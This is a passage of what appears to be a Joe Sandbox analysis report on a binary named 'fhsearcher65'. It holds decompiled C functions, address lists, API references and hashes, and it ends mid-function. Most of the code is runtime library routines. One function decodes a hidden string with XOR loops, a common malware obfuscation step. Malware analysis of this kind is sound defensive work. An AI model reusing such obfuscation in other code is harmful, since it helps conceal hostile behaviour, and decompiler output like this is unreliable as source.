0x100094c2
0x1000954e
0x10009551
0x10009555
0x1000955e
0x10009561
0x10009565
0x10009565
0x10009567
0x1000956a
0x1000956c
0x1000956e
0x10009570
0x10009575
0x10009576
0x1000957a
0x1000957a
0x1000957e
0x10009581
0x10009581
0x10009585
0x00000000
0x1000958c
0x100093be
0x100093be
0x100093c5
0x100093c6
0x100093c8
0x1000958d
0x10009591
0x10009591
0x00000000

APIs

_free.LIBCMT ref: 10009548

Strings

*?, xrefs: 100093F1

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 72a3e4ca702a8c4f9c99998b4a73be40bf4d94a3e87db8c17ad137306030f0af
Instruction ID: 0340fc811119e07594000e71e8d06bdc8eabf6b4f8489cd8c2a7edce7445303f
Opcode Fuzzy Hash: 72a3e4ca702a8c4f9c99998b4a73be40bf4d94a3e87db8c17ad137306030f0af
Instruction Fuzzy Hash: E0617EB5E0021A9FEB14CFA9C8819DDFBF5FF48390B25816AE815F7344D631AE418B90

Uniqueness

Uniqueness Score: -1.00%

Function 00421C25 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E00421C25(void* __eflags, intOrPtr _a4, int _a8, intOrPtr _a12, intOrPtr _a16, short* _a20, intOrPtr _a24, intOrPtr _a28) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				char _v20;
				intOrPtr _v28;
				char _v32;
				void* _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t36;
				signed int _t40;
				int _t43;
				intOrPtr _t55;
				int _t56;
				short* _t57;
				signed int _t58;
				void* _t59;
				short* _t60;

				_t30 =  *0x43d054; // 0xd71f2cec
				_v8 = _t30 ^ _t58;
				E004139D1( &_v32, _t55, _a4);
				_t48 = _a24;
				if(_a24 == 0) {
					_t48 =  *((intOrPtr*)(_v28 + 8));
				}
				_t56 = 0;
				_t36 = E004201F8(_t48, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_t60 = _t59 + 0x18;
				_v16 = _t36;
				if(_t36 == 0) {
					L16:
					if(_v20 != 0) {
						 *(_v32 + 0x350) =  *(_v32 + 0x350) & 0xfffffffd;
					}
					return E0040EF6F(_t56, _t48, _v8 ^ _t58, _t55, _t56, _t57);
				} else {
					_t55 = _t36 + _t36;
					_v12 = _t55;
					asm("sbb eax, eax");
					_t40 = _t36 & _t55 + 0x00000008;
					if(_t40 == 0) {
						_t57 = 0;
						L12:
						if(_t57 != 0) {
							E00410EB0(_t56, _t57, _t56, _t55);
							_t43 = E004201F8(_t48, 1, _a12, _a16, _t57, _v16);
							if(_t43 != 0) {
								_t56 = GetStringTypeW(_a8, _t57, _t43, _a20);
							}
						}
						E0040EF51(_t57);
						goto L16;
					}
					if(_t40 > 0x400) {
						_t57 = E0041F0DF(_t40);
						if(_t57 == 0) {
							L10:
							_t55 = _v12;
							goto L12;
						}
						 *_t57 = 0xdddd;
						L9:
						_t57 =  &(_t57[4]);
						goto L10;
					}
					E0040F930(_t40);
					_t57 = _t60;
					if(_t57 == 0) {
						goto L10;
					}
					 *_t57 = 0xcccc;
					goto L9;
				}
			}

0x00421c2d
0x00421c34
0x00421c40
0x00421c45
0x00421c4a
0x00421c4f
0x00421c4f
0x00421c54
0x00421c6d
0x00421c72
0x00421c75
0x00421c7a
0x00421d04
0x00421d08
0x00421d0d
0x00421d0d
0x00421d27
0x00421c80
0x00421c80
0x00421c86
0x00421c8b
0x00421c8d
0x00421c8f
0x00421cc6
0x00421cc8
0x00421cca
0x00421ccf
0x00421ce1
0x00421ceb
0x00421cfb
0x00421cfb
0x00421ceb
0x00421cfe
0x00000000
0x00421d03
0x00421c96
0x00421cb1
0x00421cb6
0x00421cc1
0x00421cc1
0x00000000
0x00421cc1
0x00421cb8
0x00421cbe
0x00421cbe
0x00000000
0x00421cbe
0x00421c98
0x00421c9d
0x00421ca1
0x00000000
0x00000000
0x00421ca3
0x00000000
0x00421ca3

APIs

__alloca_probe_16.LIBCMT ref: 00421C98
GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,0000FDE9), ref: 00421CF5
__freea.LIBCMT ref: 00421CFE

Part of subcall function 0041F0DF: RtlAllocateHeap.NTDLL(00000000,?,?,?,0041034B,?,?,?,?,?,00403757,?,?,?), ref: 0041F111

Strings

$MB, xrefs: 00421C38

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: AllocateHeapStringType__alloca_probe_16__freea
String ID: $MB
API String ID: 2035984020-486549210
Opcode ID: 143868d609a248bb9557318f979ecf13d0e2dd9a6ce5baa5c6f124956e12cb3e
Instruction ID: 936164b06297870016fc5eda9ac756760e95bb1cb12a406cff24f7c7f3c0af99
Opcode Fuzzy Hash: 143868d609a248bb9557318f979ecf13d0e2dd9a6ce5baa5c6f124956e12cb3e
Instruction Fuzzy Hash: A831E172A0022AABDB209F62EC41EEF7BB5EF54314F54412AFC04A7361D7399D51C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 004012E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E004012E0(void* __ebx, void* __edi, void* __esi) {
				signed int _v8;
				short _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				void* __ebp;
				signed int _t11;
				intOrPtr _t15;
				void* _t19;
				void* _t24;
				intOrPtr* _t26;
				void* _t31;
				void* _t32;
				void* _t33;
				signed int _t34;
				void* _t35;

				_t33 = __esi;
				_t32 = __edi;
				_t24 = __ebx;
				_t11 =  *0x43d054; // 0xd71f2cec
				_v8 = _t11 ^ _t34;
				_v20 = 0x5c4f5c4c;
				_v16 = 0x465e0057;
				_v12 = 0x2e5e;
				_t25 =  *((intOrPtr*)( *[fs:0x2c]));
				_t14 =  *0x451010;
				if( *0x451010 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
					E0040F2F9(_t14, 0x451010);
					_t35 = _t35 + 4;
					_t38 =  *0x451010 - 0xffffffff;
					if( *0x451010 == 0xffffffff) {
						asm("movaps xmm0, [0x439d50]");
						asm("movups [0x450d68], xmm0");
						asm("movq xmm0, [ebp-0x10]");
						asm("movq [0x450d78], xmm0");
						 *0x450d80 = _v12;
						E0040F60B(_t25, _t38, 0x42d690);
						E0040F2AF(0x451010);
						_t35 = _t35 + 8;
					}
				}
				if( *0x450d81 == 0) {
					L6:
					_t26 = 0x450d68;
					 *0x450e8c = 0;
					 *0x450e9c = 0;
					 *0x450ea0 = 0xf;
					_t9 = _t26 + 1; // 0x450d69
					_t31 = _t9;
					do {
						_t15 =  *_t26;
						_t26 = _t26 + 1;
						_t41 = _t15;
					} while (_t15 != 0);
					E004026B0(_t24, 0x450e8c, 0x450d68, _t26 - _t31);
					return E0040EF6F(E0040F60B(0x450e8c, _t41, E0042D630), _t24, _v8 ^ _t34, _t31, _t32, _t33);
				} else {
					asm("movups xmm0, [0x450d68]");
					_t19 = 0x10;
					asm("movaps xmm1, [0x439d30]");
					asm("pxor xmm1, xmm0");
					asm("movups [0x450d68], xmm1");
					do {
						 *(_t19 + 0x450d68) =  *(_t19 + 0x450d68) ^ 0x0000002e;
						_t19 = _t19 + 1;
					} while (_t19 < 0x1a);
					goto L6;
				}
			}

0x004012e0
0x004012e0
0x004012e0
0x004012e6
0x004012ed
0x004012f6
0x004012fd
0x00401304
0x0040130a
0x0040130c
0x00401317
0x0040131e
0x00401323
0x00401326
0x0040132d
0x0040132f
0x0040133a
0x00401346
0x0040134b
0x00401353
0x00401359
0x00401363
0x00401368
0x00401368
0x0040132d
0x00401372
0x0040139f
0x0040139f
0x004013a4
0x004013ae
0x004013b8
0x004013c2
0x004013c2
0x004013c5
0x004013c5
0x004013c7
0x004013c8
0x004013c8
0x004013d9
0x004013f8
0x00401374
0x00401374
0x0040137b
0x00401380
0x00401387
0x0040138b
0x00401392
0x00401392
0x00401399
0x0040139a
0x00000000
0x00401392

APIs

Part of subcall function 0040F2F9: EnterCriticalSection.KERNEL32(004504FC,00450DAD,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F304
Part of subcall function 0040F2F9: LeaveCriticalSection.KERNEL32(004504FC,?,?,004063FC,00450F9C,00450FA0,00450FA1), ref: 0040F341

__Init_thread_footer.LIBCMT ref: 00401363

Part of subcall function 0040F2AF: EnterCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2B9
Part of subcall function 0040F2AF: LeaveCriticalSection.KERNEL32(004504FC,?,?,0040643C,00450F9C,?,?,00450FA0,00450FA1), ref: 0040F2EC
Part of subcall function 0040F2AF: RtlWakeAllConditionVariable.NTDLL ref: 0040F363

Strings

L\O\, xrefs: 004012F6
^., xrefs: 00401304
W, xrefs: 004012FD

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: L\O\$W$^.
API String ID: 2296764815-2954420958
Opcode ID: 11078d9bfa2d04fef4c0d2d3714f333b7d40080eab97824c42bf7e9f97d69b81
Instruction ID: 84b90a40bc73ebd7f7ba78d4685b235e19f96944de344a3b20e3a9d8d38c9b36
Opcode Fuzzy Hash: 11078d9bfa2d04fef4c0d2d3714f333b7d40080eab97824c42bf7e9f97d69b81
Instruction Fuzzy Hash: 5A21052890074486E7209FB4EC4676A7370BF45709F204B7AD845676F3D779658DCB4C

Uniqueness

Uniqueness Score: -1.00%

Function 0041F4E9 Relevance: 6.3, APIs: 4, Instructions: 320
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E0041F4E9(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				unsigned int _v24;
				signed int _v32;
				signed int _v40;
				char _v48;
				intOrPtr _v56;
				char _v60;
				void* __ebx;
				void* __edi;
				signed char _t85;
				void* _t91;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int _t104;
				signed int _t105;
				void* _t106;
				signed int _t107;
				void* _t108;
				void* _t110;
				void* _t113;
				void* _t115;
				signed int _t117;
				signed int* _t118;
				void* _t121;
				signed int _t123;
				signed int _t129;
				signed int* _t130;
				signed int* _t133;
				signed int _t134;
				signed int _t137;
				signed int _t139;
				signed int _t141;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t150;
				void* _t154;
				unsigned int _t155;
				signed int _t162;
				void* _t163;
				signed int _t164;
				signed int* _t165;
				signed int _t168;
				signed int _t173;
				signed int _t174;
				signed int _t175;
				signed int _t177;
				signed int _t178;
				signed int _t179;
				void* _t181;

				_t163 = __edx;
				_t173 = _a24;
				if(_t173 < 0) {
					_t173 = 0;
				}
				_t177 = _a8;
				 *_t177 = 0;
				E004139D1( &_v60, _t163, _a36);
				_t5 = _t173 + 0xb; // 0xb
				_t185 = _a12 - _t5;
				if(_a12 > _t5) {
					_t133 = _a4;
					_t139 = _t133[1];
					_t164 =  *_t133;
					__eflags = (_t139 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t139 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						__eflags = _t139;
						if(__eflags > 0) {
							L14:
							_t18 = _t177 + 1; // 0x2
							_t165 = _t18;
							_t85 = _a28 ^ 0x00000001;
							_v16 = 0x3ff;
							_v5 = _t85;
							_v40 = _t165;
							_v32 = ((_t85 & 0x000000ff) << 5) + 7;
							__eflags = _t139 & 0x7ff00000;
							_t91 = 0x30;
							if((_t139 & 0x7ff00000) != 0) {
								 *_t177 = 0x31;
								L19:
								_t141 = 0;
								__eflags = 0;
								L20:
								_t26 =  &(_t165[0]); // 0x2
								_t178 = _t26;
								_v12 = _t178;
								__eflags = _t173;
								if(_t173 != 0) {
									_t95 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v56 + 0x88))))));
								} else {
									_t95 = _t141;
								}
								 *_t165 = _t95;
								_t97 = _t133[1] & 0x000fffff;
								__eflags = _t97;
								_v24 = _t97;
								if(_t97 > 0) {
									L25:
									_t166 = _t141;
									_t142 = 0xf0000;
									_t98 = 0x30;
									_v12 = _t98;
									_v20 = _t141;
									_v24 = 0xf0000;
									do {
										__eflags = _t173;
										if(_t173 <= 0) {
											break;
										}
										_t121 = E0042C2F0( *_t133 & _t166, _v12, _t133[1] & _t142 & 0x000fffff);
										_t154 = 0x30;
										_t123 = _t121 + _t154 & 0x0000ffff;
										__eflags = _t123 - 0x39;
										if(_t123 > 0x39) {
											_t123 = _t123 + _v32;
											__eflags = _t123;
										}
										_t155 = _v24;
										_t166 = (_t155 << 0x00000020 | _v20) >> 4;
										 *_t178 = _t123;
										_t178 = _t178 + 1;
										_t142 = _t155 >> 4;
										_t98 = _v12 - 4;
										_t173 = _t173 - 1;
										_v20 = (_t155 << 0x00000020 | _v20) >> 4;
										_v24 = _t155 >> 4;
										_v12 = _t98;
										__eflags = _t98;
									} while (_t98 >= 0);
									_v12 = _t178;
									__eflags = _t98;
									if(__eflags < 0) {
										goto L42;
									}
									_t117 = E0041FD04(__eflags, _t133, _t166, _t142, _t98, _a40);
									_t181 = _t181 + 0x14;
									__eflags = _t117;
									if(_t117 == 0) {
										goto L42;
									}
									_t50 = _t178 - 1; // 0x2
									_t118 = _t50;
									_t137 = 0x30;
									while(1) {
										_t149 =  *_t118;
										__eflags = _t149 - 0x66;
										if(_t149 == 0x66) {
											goto L35;
										}
										__eflags = _t149 - 0x46;
										if(_t149 != 0x46) {
											_t133 = _a4;
											__eflags = _t118 - _v40;
											if(_t118 == _v40) {
												_t54 = _t118 - 1;
												 *_t54 =  *(_t118 - 1) + 1;
												__eflags =  *_t54;
											} else {
												__eflags = _t149 - 0x39;
												if(_t149 != 0x39) {
													_t150 = _t149 + 1;
													__eflags = _t150;
												} else {
													_t150 = _v32 + 0x3a;
												}
												 *_t118 = _t150;
											}
											goto L42;
										}
										L35:
										 *_t118 = _t137;
										_t118 = _t118 - 1;
									}
								} else {
									__eflags =  *_t133 - _t141;
									if( *_t133 <= _t141) {
										L42:
										__eflags = _t173;
										if(_t173 > 0) {
											_push(_t173);
											_t115 = 0x30;
											_push(_t115);
											_push(_t178);
											E00410EB0(_t173);
											_t178 = _t178 + _t173;
											__eflags = _t178;
											_v12 = _t178;
										}
										_t99 = _v40;
										__eflags =  *_t99;
										if( *_t99 == 0) {
											_t178 = _t99;
											_v12 = _t178;
										}
										 *_t178 = (_v5 << 5) + 0x50;
										_t104 = E0042C2F0( *_t133, 0x34, _t133[1]);
										_t179 = 0;
										_t105 = _v12;
										_t146 = (_t104 & 0x000007ff) - _v16;
										__eflags = _t146;
										asm("sbb esi, esi");
										_t168 = _t105 + 2;
										_v40 = _t168;
										if(__eflags < 0) {
											L50:
											_t146 =  ~_t146;
											asm("adc esi, 0x0");
											_t179 =  ~_t179;
											_t134 = 0x2d;
											goto L51;
										} else {
											if(__eflags > 0) {
												L49:
												_t134 = 0x2b;
												L51:
												 *(_t105 + 1) = _t134;
												_t174 = _t168;
												_t106 = 0x30;
												 *_t168 = _t106;
												_t107 = 0;
												__eflags = _t179;
												if(__eflags < 0) {
													L55:
													__eflags = _t174 - _t168;
													if(_t174 != _t168) {
														L59:
														_push(_t134);
														_push(_t107);
														_push(0x64);
														_push(_t179);
														_t108 = E0042C1F0();
														_t179 = _t134;
														_t134 = _t146;
														_v32 = _t168;
														_t168 = _v40;
														 *_t174 = _t108 + 0x30;
														_t174 = _t174 + 1;
														_t107 = 0;
														__eflags = 0;
														L60:
														__eflags = _t174 - _t168;
														if(_t174 != _t168) {
															L64:
															_push(_t134);
															_push(_t107);
															_push(0xa);
															_push(_t179);
															_push(_t146);
															_t110 = E0042C1F0();
															_v40 = _t168;
															 *_t174 = _t110 + 0x30;
															_t174 = _t174 + 1;
															_t107 = 0;
															__eflags = 0;
															L65:
															_t147 = _t146 + 0x30;
															__eflags = _t147;
															 *_t174 = _t147;
															 *(_t174 + 1) = _t107;
															_t175 = _t107;
															L66:
															if(_v48 != 0) {
																 *(_v60 + 0x350) =  *(_v60 + 0x350) & 0xfffffffd;
															}
															return _t175;
														}
														__eflags = _t179 - _t107;
														if(__eflags < 0) {
															goto L65;
														}
														if(__eflags > 0) {
															goto L64;
														}
														__eflags = _t146 - 0xa;
														if(_t146 < 0xa) {
															goto L65;
														}
														goto L64;
													}
													__eflags = _t179 - _t107;
													if(__eflags < 0) {
														goto L60;
													}
													if(__eflags > 0) {
														goto L59;
													}
													__eflags = _t146 - 0x64;
													if(_t146 < 0x64) {
														goto L60;
													}
													goto L59;
												}
												_t134 = 0x3e8;
												if(__eflags > 0) {
													L54:
													_push(_t134);
													_push(_t107);
													_push(_t134);
													_push(_t179);
													_t113 = E0042C1F0();
													_t179 = _t134;
													_t134 = _t146;
													_v32 = _t168;
													_t168 = _v40;
													 *_t168 = _t113 + 0x30;
													_t174 = _t168 + 1;
													_t107 = 0;
													__eflags = 0;
													goto L55;
												}
												__eflags = _t146 - 0x3e8;
												if(_t146 < 0x3e8) {
													goto L55;
												}
												goto L54;
											}
											__eflags = _t146;
											if(_t146 < 0) {
												goto L50;
											}
											goto L49;
										}
									}
									goto L25;
								}
							}
							 *_t177 = _t91;
							_t141 =  *_t133 | _t133[1] & 0x000fffff;
							__eflags = _t141;
							if(_t141 != 0) {
								_v16 = 0x3fe;
								goto L19;
							}
							_v16 = _t141;
							goto L20;
						}
						if(__eflags < 0) {
							L13:
							 *_t177 = 0x2d;
							_t177 = _t177 + 1;
							__eflags = _t177;
							_t139 = _t133[1];
							goto L14;
						}
						__eflags = _t164;
						if(_t164 >= 0) {
							goto L14;
						}
						goto L13;
					}
					_t175 = E0041F7F8(_t133, _t139, _t164, _t133, _t177, _a12, _a16, _a20, _t173, 0, _a32, 0, _a40);
					__eflags = _t175;
					if(_t175 == 0) {
						_t129 = E0042C3A0(_t177, 0x65);
						__eflags = _t129;
						if(_t129 != 0) {
							_t162 = ((_a28 ^ 0x00000001) << 5) + 0x50;
							__eflags = _t162;
							 *_t129 = _t162;
							 *((char*)(_t129 + 3)) = 0;
						}
						_t175 = 0;
					} else {
						 *_t177 = 0;
					}
					goto L66;
				}
				_t130 = E004139A1(_t185);
				_t175 = 0x22;
				 *_t130 = _t175;
				E004138C7();
				goto L66;
			}

0x0041f4e9
0x0041f4f4
0x0041f4f9
0x0041f4fb
0x0041f4fb
0x0041f4ff
0x0041f508
0x0041f50a
0x0041f50f
0x0041f512
0x0041f515
0x0041f52b
0x0041f52e
0x0041f533
0x0041f53d
0x0041f542
0x0041f599
0x0041f59b
0x0041f5aa
0x0041f5ad
0x0041f5ad
0x0041f5b0
0x0041f5b2
0x0041f5b9
0x0041f5cb
0x0041f5ce
0x0041f5d3
0x0041f5d7
0x0041f5d8
0x0041f5f8
0x0041f5fb
0x0041f5fb
0x0041f5fb
0x0041f5fd
0x0041f5fd
0x0041f5fd
0x0041f600
0x0041f603
0x0041f605
0x0041f616
0x0041f607
0x0041f607
0x0041f607
0x0041f618
0x0041f61d
0x0041f61d
0x0041f622
0x0041f625
0x0041f62f
0x0041f631
0x0041f633
0x0041f638
0x0041f639
0x0041f63c
0x0041f63f
0x0041f642
0x0041f642
0x0041f644
0x00000000
0x00000000
0x0041f65b
0x0041f662
0x0041f666
0x0041f669
0x0041f66c
0x0041f66e
0x0041f66e
0x0041f66e
0x0041f674
0x0041f677
0x0041f67b
0x0041f67d
0x0041f681
0x0041f684
0x0041f687
0x0041f688
0x0041f68b
0x0041f68e
0x0041f691
0x0041f691
0x0041f696
0x0041f699
0x0041f69c
0x00000000
0x00000000
0x0041f6a5
0x0041f6aa
0x0041f6ad
0x0041f6af
0x00000000
0x00000000
0x0041f6b3
0x0041f6b3
0x0041f6b6
0x0041f6b7
0x0041f6b7
0x0041f6b9
0x0041f6bc
0x00000000
0x00000000
0x0041f6be
0x0041f6c1
0x0041f6c8
0x0041f6cb
0x0041f6ce
0x0041f6e3
0x0041f6e3
0x0041f6e3
0x0041f6d0
0x0041f6d0
0x0041f6d3
0x0041f6dd
0x0041f6dd
0x0041f6d5
0x0041f6d8
0x0041f6d8
0x0041f6df
0x0041f6df
0x00000000
0x0041f6ce
0x0041f6c3
0x0041f6c3
0x0041f6c5
0x0041f6c5
0x0041f627
0x0041f627
0x0041f629
0x0041f6e6
0x0041f6e6
0x0041f6e8
0x0041f6ea
0x0041f6ed
0x0041f6ee
0x0041f6ef
0x0041f6f0
0x0041f6f8
0x0041f6f8
0x0041f6fa
0x0041f6fa
0x0041f6fd
0x0041f700
0x0041f703
0x0041f705
0x0041f707
0x0041f707
0x0041f714
0x0041f71b
0x0041f722
0x0041f724
0x0041f72d
0x0041f72d
0x0041f730
0x0041f732
0x0041f735
0x0041f738
0x0041f744
0x0041f744
0x0041f748
0x0041f74b
0x0041f74d
0x00000000
0x0041f73a
0x0041f73a
0x0041f740
0x0041f740
0x0041f74e
0x0041f74e
0x0041f751
0x0041f755
0x0041f756
0x0041f758
0x0041f75a
0x0041f75c
0x0041f786
0x0041f786
0x0041f788
0x0041f795
0x0041f795
0x0041f796
0x0041f797
0x0041f799
0x0041f79b
0x0041f7a0
0x0041f7a2
0x0041f7a6
0x0041f7a9
0x0041f7ac
0x0041f7ae
0x0041f7af
0x0041f7af
0x0041f7b1
0x0041f7b1
0x0041f7b3
0x0041f7c0
0x0041f7c0
0x0041f7c1
0x0041f7c2
0x0041f7c4
0x0041f7c5
0x0041f7c6
0x0041f7cf
0x0041f7d2
0x0041f7d4
0x0041f7d5
0x0041f7d5
0x0041f7d7
0x0041f7d7
0x0041f7d7
0x0041f7da
0x0041f7dc
0x0041f7df
0x0041f7e1
0x0041f7e7
0x0041f7ec
0x0041f7ec
0x0041f7f7
0x0041f7f7
0x0041f7b5
0x0041f7b7
0x00000000
0x00000000
0x0041f7b9
0x00000000
0x00000000
0x0041f7bb
0x0041f7be
0x00000000
0x00000000
0x00000000
0x0041f7be
0x0041f78a
0x0041f78c
0x00000000
0x00000000
0x0041f78e
0x00000000
0x00000000
0x0041f790
0x0041f793
0x00000000
0x00000000
0x00000000
0x0041f793
0x0041f75e
0x0041f763
0x0041f769
0x0041f769
0x0041f76a
0x0041f76b
0x0041f76c
0x0041f76e
0x0041f773
0x0041f775
0x0041f777
0x0041f77c
0x0041f77f
0x0041f781
0x0041f784
0x0041f784
0x00000000
0x0041f784
0x0041f765
0x0041f767
0x00000000
0x00000000
0x00000000
0x0041f767
0x0041f73c
0x0041f73e
0x00000000
0x00000000
0x00000000
0x0041f73e
0x0041f738
0x00000000
0x0041f629
0x0041f625
0x0041f5da
0x0041f5e6
0x0041f5e6
0x0041f5e8
0x0041f5ef
0x00000000
0x0041f5ef
0x0041f5ea
0x00000000
0x0041f5ea
0x0041f59d
0x0041f5a3
0x0041f5a3
0x0041f5a6
0x0041f5a6
0x0041f5a7
0x00000000
0x0041f5a7
0x0041f59f
0x0041f5a1
0x00000000
0x00000000
0x00000000
0x0041f5a1
0x0041f55f
0x0041f564
0x0041f566
0x0041f573
0x0041f57a
0x0041f57c
0x0041f587
0x0041f587
0x0041f58a
0x0041f58c
0x0041f58c
0x0041f590
0x0041f568
0x0041f568
0x0041f568
0x00000000
0x0041f566
0x0041f517
0x0041f51e
0x0041f51f
0x0041f521
0x00000000

APIs

_strrchr.LIBCMT ref: 0041F573

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: cd8e4bb0aedfb7620605480463583c07b664e29b5c7b48d68c16e2fda7129642
Instruction ID: b4b8134029a7cebfa48c3075d892d07d9bff37393f78f219cf75c08bdb56f8d4
Opcode Fuzzy Hash: cd8e4bb0aedfb7620605480463583c07b664e29b5c7b48d68c16e2fda7129642
Instruction Fuzzy Hash: B2B12772A002459FDB11CF28C8817EEBBE5EF55344F24417BE855AB382D6388D87CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0041226B Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 67%

			E0041226B(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0x43b988);
				E0040FD90(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E00410870(_t107, E004104CF(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E00410870(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0x450568; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0x42e234();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E00419FF9(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0x43b9a8);
									E0040FD90(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E0041226B(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00412F6B(_t103, _t108[0x18], E004104CF( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
